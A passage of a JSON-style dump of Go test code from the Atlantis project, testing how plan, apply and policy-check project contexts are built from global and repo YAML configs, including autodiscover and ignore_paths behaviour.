myproject_1\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -p myproject_1\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logging.NewNoopLogger(t),\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"myproject_1\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -p myproject_1 -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"init\", \"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := DirStructure(t, map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"modules\": map[string]any{\n\t\t\t\t\t\"module\": map[string]any{\n\t\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\n\t\t\tworkingDir := NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmp, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"modules/module/main.tf\"}, nil)\n\n\t\t\t// Write and parse the global config file.\n\t\t\tglobalCfgPath := filepath.Join(tmp, \"global.yaml\")\n\t\t\tOk(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600))\n\t\t\tparser := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\t\t\tglobalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tif c.repoCfg != \"\" {\n\t\t\t\tOk(t, os.WriteFile(filepath.Join(tmp, \"atlantis.yaml\"), []byte(c.repoCfg), 0600))\n\t\t\t}\n\n\t\t\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\tparser,\n\t\t\t\t&DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tNewDefaultWorkingDirLocker(),\n\t\t\t\tglobalCfg,\n\t\t\t\t&DefaultPendingPlanFinder{},\n\t\t\t\t&CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tfalse,\n\t\t\t\ttrue,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"\",\n\t\t\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"auto\",\n\t\t\t\tstatsScope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\t// We run a test for each type of command, again specific projects\n\t\t\tfor _, cmd := range []command.Name{command.Plan, command.Apply} {\n\t\t\t\tt.Run(cmd.String(), func(t *testing.T) {\n\t\t\t\t\tctxs, err := builder.buildProjectCommandCtx(&command.Context{\n\t\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\t\tBaseRepo: baseRepo,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tLog:   logging.NewNoopLogger(t),\n\t\t\t\t\t\tScope: statsScope,\n\t\t\t\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t\t\t},\n\t\t\t\t\t}, cmd, \"\", \"myproject_[1-2]\", []string{\"flag\"}, tmp, \"project1\", \"myworkspace\", true)\n\n\t\t\t\t\tif c.expErr != \"\" {\n\t\t\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tOk(t, err)\n\t\t\t\t\tctx := ctxs[0]\n\n\t\t\t\t\tEquals(t, 2, len(ctxs))\n\t\t\t\t\t// Construct expected steps.\n\t\t\t\t\tvar stepNames []string\n\t\t\t\t\tswitch cmd {\n\t\t\t\t\tcase command.Plan:\n\t\t\t\t\t\tstepNames = c.expPlanSteps\n\t\t\t\t\tcase command.Apply:\n\t\t\t\t\t\tstepNames = c.expApplySteps\n\t\t\t\t\t}\n\t\t\t\t\tvar expSteps []valid.Step\n\t\t\t\t\tfor _, stepName := range stepNames {\n\t\t\t\t\t\texpSteps = append(expSteps, valid.Step{\n\t\t\t\t\t\t\tStepName: stepName,\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\n\t\t\t\t\tc.expCtx.CommandName = cmd\n\t\t\t\t\t// Init fields we couldn't in our cases map.\n\t\t\t\t\tc.expCtx.Steps = expSteps\n\t\t\t\t\tctx.PolicySets = emptyPolicySets\n\n\t\t\t\t\t// Job ID cannot be compared since its generated at random\n\t\t\t\t\tctx.JobID = \"\"\n\n\t\t\t\t\tEquals(t, c.expCtx, ctx)\n\t\t\t\t\t// Equals() doesn't compare TF version properly so have to\n\t\t\t\t\t// use .String().\n\t\t\t\t\tif c.expCtx.TerraformVersion != nil {\n\t\t\t\t\t\tEquals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String())\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBuildProjectCmdCtx_WithPolicCheckEnabled(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\temptyPolicySets := valid.PolicySets{\n\t\tVersion:    nil,\n\t\tPolicySets: []valid.PolicySet{},\n\t}\n\tbaseRepo := models.Repo{\n\t\tFullName: \"owner/repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\tpull := models.PullRequest{\n\t\tBaseRepo: baseRepo,\n\t}\n\tcases := map[string]struct {\n\t\tglobalCfg           string\n\t\trepoCfg             string\n\t\texpErr              string\n\t\texpCtx              command.ProjectContext\n\t\texpPolicyCheckSteps []string\n\t}{\n\t\t// Test that if we've set global defaults and no project config\n\t\t// that the global defaults are used.\n\t\t\"global defaults\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n`,\n\t\t\trepoCfg: \"\",\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   false,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"policies_passed\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPolicyCheckSteps: []string{\"show\", \"policy_check\"},\n\t\t},\n\n\t\t// If the repos are allowed to set everything then their config should\n\t\t// come through.\n\t\t\"full repo permissions\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  apply_requirements: [approved]\n  allowed_overrides: [apply_requirements, workflow]\n  allow_custom_workflows: true\nworkflows:\n  default:\n    policy_check:\n      steps: []\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  apply_requirements: []\n  workflow: custom\nworkflows:\n  custom:\n    policy_check:\n      steps:\n      - policy_check\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{\"policies_passed\"},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"v10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t\tPolicySetTarget:    \"\",\n\t\t\t},\n\t\t\texpPolicyCheckSteps: []string{\"policy_check\"},\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := DirStructure(t, map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"modules\": map[string]any{\n\t\t\t\t\t\"module\": map[string]any{\n\t\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\n\t\t\tworkingDir := NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmp, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"modules/module/main.tf\"}, nil)\n\n\t\t\t// Write and parse the global config file.\n\t\t\tglobalCfgPath := filepath.Join(tmp, \"global.yaml\")\n\t\t\tOk(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600))\n\t\t\tparser := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tPolicyCheckEnabled: true,\n\t\t\t}\n\n\t\t\tglobalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tif c.repoCfg != \"\" {\n\t\t\t\tOk(t, os.WriteFile(filepath.Join(tmp, \"atlantis.yaml\"), []byte(c.repoCfg), 0600))\n\t\t\t}\n\t\t\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := NewProjectCommandBuilder(\n\t\t\t\ttrue,\n\t\t\t\tparser,\n\t\t\t\t&DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tNewDefaultWorkingDirLocker(),\n\t\t\t\tglobalCfg,\n\t\t\t\t&DefaultPendingPlanFinder{},\n\t\t\t\t&CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"\",\n\t\t\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"auto\",\n\t\t\t\tstatsScope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tcmd := command.PolicyCheck\n\t\t\tt.Run(cmd.String(), func(t *testing.T) {\n\t\t\t\tctxs, err := builder.buildProjectCommandCtx(&command.Context{\n\t\t\t\t\tLog:   logger,\n\t\t\t\t\tScope: statsScope,\n\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\tBaseRepo: baseRepo,\n\t\t\t\t\t},\n\t\t\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t\t},\n\t\t\t\t}, command.Plan, \"\", \"\", []string{\"flag\"}, tmp, \"project1\", \"myworkspace\", true)\n\n\t\t\t\tif c.expErr != \"\" {\n\t\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tOk(t, err)\n\t\t\t\tctx := ctxs[1]\n\n\t\t\t\t// Construct expected steps.\n\t\t\t\tvar stepNames []string\n\t\t\t\tvar expSteps []valid.Step\n\n\t\t\t\tstepNames = c.expPolicyCheckSteps\n\t\t\t\tfor _, stepName := range stepNames {\n\t\t\t\t\texpSteps = append(expSteps, valid.Step{\n\t\t\t\t\t\tStepName: stepName,\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tc.expCtx.CommandName = cmd\n\t\t\t\t// Init fields we couldn't in our cases map.\n\t\t\t\tc.expCtx.Steps = expSteps\n\t\t\t\tctx.PolicySets = emptyPolicySets\n\n\t\t\t\t// Job ID cannot be compared since its generated at random\n\t\t\t\tctx.JobID = \"\"\n\n\t\t\t\tEquals(t, c.expCtx, ctx)\n\t\t\t\t// Equals() doesn't compare TF version properly so have to\n\t\t\t\t// use .String().\n\t\t\t\tif c.expCtx.TerraformVersion != nil {\n\t\t\t\t\tEquals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String())\n\t\t\t\t}\n\t\t\t})\n\t\t})\n\t}\n}\n\nfunc TestBuildProjectCmdCtx_WithSilenceNoProjects(t *testing.T) {\n\tglobalCfg := `\nrepos:\n- id: /.*/\n`\n\tlogger := logging.NewNoopLogger(t)\n\tbaseRepo := models.Repo{\n\t\tFullName: \"owner/repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\tcases := map[string]struct {\n\t\trepoCfg string\n\t\texpLen  int\n\t}{\n\t\t// One project matches the repo cfg, return it\n\t\t\"matching project\": {\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n`,\n\t\t\texpLen: 1,\n\t\t},\n\t\t// No project matches the repo cfg, ignore it\n\t\t\"no matching project\": {\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project2\n  workspace: myworkspace\n`,\n\t\t\texpLen: 0,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := DirStructure(t, map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"modules\": map[string]any{\n\t\t\t\t\t\"module\": map[string]any{\n\t\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\n\t\t\tworkingDir := NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmp, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"modules/module/main.tf\"}, nil)\n\n\t\t\t// Write and parse the global config file.\n\t\t\tglobalCfgPath := filepath.Join(tmp, \"global.yaml\")\n\t\t\tOk(t, os.WriteFile(globalCfgPath, []byte(globalCfg), 0600))\n\t\t\tparser := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\n\t\t\tglobalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tif c.repoCfg != \"\" {\n\t\t\t\tOk(t, os.WriteFile(filepath.Join(tmp, \"atlantis.yaml\"), []byte(c.repoCfg), 0600))\n\t\t\t}\n\t\t\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\tparser,\n\t\t\t\t&DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tNewDefaultWorkingDirLocker(),\n\t\t\t\tglobalCfg,\n\t\t\t\t&DefaultPendingPlanFinder{},\n\t\t\t\t&CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"\",\n\t\t\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\t\t\tfalse,\n\t\t\t\ttrue,\n\t\t\t\tfalse,\n\t\t\t\t\"auto\",\n\t\t\t\tstatsScope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tfor _, cmd := range []command.Name{command.Plan, command.Apply} {\n\t\t\t\tt.Run(cmd.String(), func(t *testing.T) {\n\t\t\t\t\tctxs, err := builder.buildProjectCommandCtx(&command.Context{\n\t\t\t\t\t\tLog:   logger,\n\t\t\t\t\t\tScope: statsScope,\n\t\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\t\tBaseRepo: baseRepo,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t\t\t},\n\t\t\t\t\t}, cmd, \"\", \"\", []string{}, tmp, \"project1\", \"myworkspace\", true)\n\t\t\t\t\tEquals(t, c.expLen, len(ctxs))\n\t\t\t\t\tOk(t, err)\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBuildProjectCmdCtx_AutoDiscoverRespectsRepoConfig(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := map[string]struct {\n\t\tglobalCfg     string\n\t\trepoCfg       string\n\t\tmodifiedFiles []string\n\t\texpLen        int\n\t}{\n\t\t\"autodiscover disabled\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: disabled\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        0,\n\t\t},\n\t\t\"autodiscover auto\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: auto\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        1,\n\t\t},\n\t\t\"autodiscover enabled\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: enabled\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        3,\n\t\t},\n\t\t\"autodiscover enabled, disabled at repo level\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: enabled\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\nautodiscover:\n  mode: disabled\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        1,\n\t\t},\n\t\t\"autodiscover respects ignore_paths in repo config\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\nautodiscover:\n  mode: enabled\n  ignore_paths:\n  - project3\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        2,\n\t\t},\n\t\t\"autodiscover respects ignore_paths in global config\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: enabled\n    ignore_paths:\n    - project3\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        2,\n\t\t},\n\t\t\"autodiscover skips ignore_paths in repo when configured in global\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  autodiscover:\n    mode: enabled\n    ignore_paths:\n    - project[0-9]\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\nautodiscover:\n  mode: enabled\n  ignore_paths:\n  - project3\n`,\n\t\t\tmodifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\texpLen:        1,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := DirStructure(t, map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project3\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t})\n\n\t\t\tworkingDir := NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmp, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(c.modifiedFiles, nil)\n\n\t\t\t// Write and parse the global config file.\n\t\t\tglobalCfgPath := filepath.Join(tmp, \"global.yaml\")\n\t\t\tOk(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600))\n\t\t\tparser := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}\n\n\t\t\tglobalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tif c.repoCfg != \"\" {\n\t\t\t\tOk(t, os.WriteFile(filepath.Join(tmp, \"atlantis.yaml\"), []byte(c.repoCfg), 0600))\n\t\t\t}\n\t\t\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\tparser,\n\t\t\t\t&DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tNewDefaultWorkingDirLocker(),\n\t\t\t\tglobalCfg,\n\t\t\t\t&DefaultPendingPlanFinder{},\n\t\t\t\t&CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"\",\n\t\t\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\t\t\tfalse,\n\t\t\t\ttrue,\n\t\t\t\tfalse,\n\t\t\t\t\"auto\",\n\t\t\t\tstatsScope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tctxs, err := builder.BuildPlanCommands(\n\t\t\t\t&command.Context{\n\t\t\t\t\tLog:   logger,\n\t\t\t\t\tScope: statsScope,\n\t\t\t\t},\n\t\t\t\t&CommentCommand{\n\t\t\t\t\tRepoRelDir: \"\",\n\t\t\t\t\tFlags:      nil,\n\t\t\t\t\tName:       command.Plan,\n\t\t\t\t\tVerbose:    false,\n\t\t\t\t},\n\t\t\t)\n\t\t\tEquals(t, c.expLen, len(ctxs))\n\t\t\tOk(t, err)\n\n\t\t})\n\t}\n}\n\nfunc mustVersion(v string) *version.Version {\n\tvers, err := version.NewVersion(v)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn vers\n}\n"
  },
  {
    "path": "server/events/project_command_builder_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar defaultUserConfig = struct {\n\tSkipCloneNoChanges       bool\n\tEnableRegExpCmd          bool\n\tEnableAutoMerge          bool\n\tEnableParallelPlan       bool\n\tEnableParallelApply      bool\n\tAutoDetectModuleFiles    string\n\tAutoplanFileList         string\n\tRestrictFileList         bool\n\tSilenceNoProjects        bool\n\tIncludeGitUntrackedFiles bool\n\tAutoDiscoverMode         string\n}{\n\tSkipCloneNoChanges:       false,\n\tEnableRegExpCmd:          false,\n\tEnableAutoMerge:          false,\n\tEnableParallelPlan:       false,\n\tEnableParallelApply:      false,\n\tAutoDetectModuleFiles:    \"\",\n\tAutoplanFileList:         \"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\tRestrictFileList:         false,\n\tSilenceNoProjects:        false,\n\tIncludeGitUntrackedFiles: false,\n\tAutoDiscoverMode:         \"auto\",\n}\n\nfunc ChangedFiles(dirStructure map[string]any, parent string) []string {\n\tvar files []string\n\tfor k, v := range dirStructure {\n\t\tswitch v := v.(type) {\n\t\tcase map[string]any:\n\t\t\tfiles = append(files, ChangedFiles(v, k)...)\n\t\tdefault:\n\t\t\tfiles = append(files, filepath.Join(parent, k))\n\t\t}\n\t}\n\treturn files\n}\n\nfunc 